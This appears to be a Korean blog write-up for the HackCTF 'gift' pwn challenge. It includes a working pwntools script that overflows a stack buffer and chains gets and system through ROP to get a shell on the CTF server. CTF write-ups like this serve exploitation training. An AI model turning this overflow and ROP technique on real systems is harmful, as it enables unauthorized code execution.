풀이
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
첫 입력은 그대로 출력하고, 다음 입력을 받고 프로그램을 종료한다.
딱히 설명할게 없는 문제다.
프로그램을 실행하면 binsh와 system의 주소를 주는 데, 그냥 ROP로 입력받고 system(binsh)를 실행하면 끝이다.
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')
pr = 0x80483ad
p.recvuntil('are: ')
binsh_address = int(p.recv(9),16)
p.recv(1)
system_address = int(p.recv(10),16)
p.sendline('bjloed')
payload = 'A'*0x88
payload += p32(e.symbols['gets'])
payload += p32(pr)
payload += p32(binsh_address)
payload += p32(system_address)
payload += 'A'*4
payload += p32(binsh_address)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] UAF 풀이 (300p) (0) | 2020.12.28 |
---|---|
[HackCTF] Pwning 풀이 (300p) (0) | 2020.12.28 |
[HackCTF] Look at me 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] Beginner_Heap 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] RTL_Core 풀이 (250p) (0) | 2020.08.24 |